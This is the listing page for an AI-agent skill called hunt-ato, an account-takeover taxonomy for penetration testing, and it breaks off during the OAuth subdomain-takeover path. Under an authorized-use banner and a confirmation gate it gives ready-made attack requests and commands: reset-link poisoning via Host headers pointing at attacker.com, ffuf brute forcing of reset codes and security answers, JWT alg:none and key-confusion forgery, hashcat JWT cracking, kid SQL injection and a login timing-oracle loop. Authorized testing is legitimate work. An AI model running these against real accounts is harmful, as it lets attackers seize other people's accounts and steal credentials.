hunt-ato – skill Khác cho agent AI

> ⚠️ AUTHORIZED USE ONLY

> This skill is for educational purposes or authorized security assessments only.

> You must have explicit, written permission from the system owner before using this tool.

> Misuse of this tool is illegal and strictly prohibited.

> Mandatory confirmation gate

> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

> 1. Ask the user to state the exact target URL, IP, account, or resource.

> 2. Ask the user to confirm written authorization and the permitted scope.

> 3. Show the exact command(s) and explain their expected effect.

> 4. Wait for explicit confirmation in the current conversation.

>

> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

Testing below requires rate/request/attempt limits and a stop condition before guessing or recovery messages. Million-code and wordlist examples are illustrative only; prefer a tiny approved fixture set with known valid/invalid cases. Claiming a dangling cloud resource or sending OAuth/reset links requires specific authorization and cleanup. Use disposable controlled identities, never real user passwords or private answers; record sanitized proof rather than tokens. Referenced report IDs/counts are upstream claims, not independently verified evidence in this copy.

13. ATO — ACCOUNT TAKEOVER TAXONOMY

> 11 illustrative paths. ATO is a destination class, not a single bug — each path below is a primitive that has severity assessed only after you demonstrate takeover of a SECOND, explicitly authorized test account B distinct from A and controlled by the assessment owner, from attacker A's session/IP/device. A path that only locks you out of your own account, or only works when you already hold the victim's password AND session, is not a standalone ATO.

Path 1: Password Reset Poisoning (Host-Header)

POST /forgot-password HTTP/1.1
Host: attacker.com                 # primary Host swap
# OR keep real Host and add one of:
X-Forwarded-Host: attacker.com
X-Host: attacker.com
X-Forwarded-Server: attacker.com
# OR dual-Host smuggling:  Host: target.com\r\nHost: attacker.com

[email protected]

The reset mailer builds the link from the request Host header → link points to attacker.com/reset?token=XXXX. Confirmation = OOB, not response-based: point the header at a Burp Collaborator / unique DNS name and read the actual email (use a controlled victim B inbox you own for the test). An email containing a poisoned link proves link construction; token leakage requires a controlled click/request reaching the approved collector. A DNS interaction alone does not prove the reset token arrived.

False-positive killer: many apps put attacker.com in the email but the actual link domain is server-pinned — read the email, do not infer from the reflected header.

Path 2: Reset Token in Referer / Open-Redirect Leak

GET /reset-password?token=ABC123
→ page loads third-party resource: <script src="https://analytics.com/t.js">
→ browser sends  Referer: https://target.com/reset-password?token=ABC123
→ full-token leakage is conditional on the effective Referrer-Policy and navigation/resource context; modern strict-origin-when-cross-origin normally sends only the origin cross-origin

Also test reset pages that 302 to an open redirect carrying the token in the URL. Proof: capture the outbound request in the Network tab (or Collaborator if you control the off-origin host) showing the full token in the Referer. Mitigated by Referrer-Policy: no-referrer + tokens in POST body — note their absence.

Path 3: Predictable / Weak Reset Tokens

# 6-digit numeric OTP-style reset code, no rate limit:
ffuf -u "https://target.com/api/reset/verify" -X POST \
  -H "Content-Type: application/json" \
  -d '{"email":"[email protected]","code":"FUZZ"}' \
  -w <(seq -w 000000 999999) -mc 200 -fr "invalid" -t 5
# time-based tokens: capture 5 tokens, diff — md5(timestamp)/sequential int = predictable

Discipline: request the victim-B token yourself (you own B), confirm entropy by sampling, THEN show a fresh brute lands. A rate-limit-only finding on /forgot-password is routinely rejected — the impact is token guessing, not request flooding.

Path 4: Token No-Expiry / Reuse / Cross-Account

Expiry: verify the documented expiry/threat model; an arbitrary 2h wait is not a universal vulnerability threshold
Reuse:   use token once → use again → still valid? = bug
Multi:   test documented multiple-token policy; older tokens remaining valid is not automatically a standalone takeover
Cross:   does B's token reset A's password if you swap the userid/email param? = IDOR-in-reset

Path 5: Email Change Without Re-Auth

PUT /api/user/email HTTP/1.1
Cookie: session=ATTACKER_A_SESSION
{"new_email":"[email protected]"}     # no current_password, no OTP, no email-confirm

If the change takes effect with no current-password challenge and no confirm-link to the OLD address, trigger password reset → reset lands at attacker mailbox → ATO. The strongest variant skips even the new-address confirmation. Branded pattern: account-link / email-change → ATO via missing re-auth.

Path 6: JWT Manipulation

# (a) alg:none — strip the signature, set header alg to none
python3 -c "import jwt; print(jwt.encode({'sub':'victimB','role':'admin'}, key='', algorithm='none'))"
# send: header {"alg":"none","typ":"JWT"}, payload {"sub":"victimB"}, empty signature
#
# (b) RS256 -> HS256 key confusion: re-sign with the server's PUBLIC key as the HMAC secret
curl -s https://target.com/.well-known/jwks.json   # or /oauth/.well-known/...  grab the RSA pub key
# convert JWK -> PEM, then sign HS256 using that PEM bytes as the secret -> server verifies it
#
# (c) weak HMAC secret: crack offline
hashcat -a 0 -m 16500 token.jwt rockyou.txt   # -m 16500 = JWT
#
# (d) kid injection: kid=../../../dev/null (empty key) or kid=' UNION SELECT 'secret -- (SQL-backed kid)

Verified grounding for this class: [CVE-2015-9235](https://nvd.nist.gov/vuln/detail/CVE-2015-9235) (node jsonwebtoken <4.2.2 — alg confusion / none bypass), [CVE-2016-10555](https://nvd.nist.gov/vuln/detail/CVE-2016-10555) (jwt-simple RS256→HS256). Validate: forged token must reach a privileged endpoint as victim B (e.g. GET /api/admin or /api/users/B) — decoding/forging is not impact; an authorized action under B's identity is. If the server ignores the forged sub and keys off the session cookie, the JWT is not the trust boundary — no finding.

Path 7: Password Change Without Step-Up + Login Oracle

# (a) password-change endpoint accepts a new password with no current-password / no MFA challenge:
POST /api/account/password
Cookie: session=AUTHORIZED_TEST_B_COOKIE        # from XSS, session-fixation, or token leak
{"new_password":"Pwned#2026"}          # no "current_password" field
#
# (b) login timing comparison to investigate a possible oracle in controlled accounts — measure response delta:
for p in $(cat candidates.txt); do
  t=$(curl -s -o /dev/null -w '%{time_total}' -d "user=victimB&pass=$p" https://target.com/login)
  printf '%s\t%s\n' "$t" "$p"
done | sort -n     # bcrypt-vs-fast-reject timing gap, or response-length diff, may reveal processing differences; repeated controlled measurements are required and timing alone does not establish a valid password

A no-step-up password-change endpoint is the persistence multiplier: cookie theft (transient) + this = attacker sets a new password from the stolen cookie → owns B from any device/IP, victim locked out. False-positive check: confirm there is genuinely no current-password / MFA gate — many APIs accept the field as optional but still 403 server-side; replay without the field and read the actual state change (try logging in with the new password from a clean browser).

Path 8: Social-Recovery / Security-Question Abuse

# Security answers are low-entropy and often unthrottled. Brute the recovery-answer endpoint:
ffuf -u "https://target.com/account/recover/answer" -X POST \
  -H "Content-Type: application/json" \
  -d '{"email":"[email protected]","question":"pet","answer":"FUZZ"}' \
  -w common-answers.txt -mc 200 -fr "incorrect" -t 5
# also test: answers returned/echoed in /api/me or recovery page source (client-side check)
# and: question itself reveals PII the answer to which is OSINT-able (mother maiden, first school)

Pair with offensive-osint: many "secret" answers (birth city, pet, school) are public on social profiles → no brute needed. Validate by completing the recovery flow end-to-end into a session on account B.

Path 9: SSO Subdomain Takeover at OAuth redirect_uri

# (a) enumerate accepted redirect_uri patterns — does the provider accept *.target.com subdomains?
GET /oauth/authorize?cli

… (nội dung đầy đủ có trong gói tải về)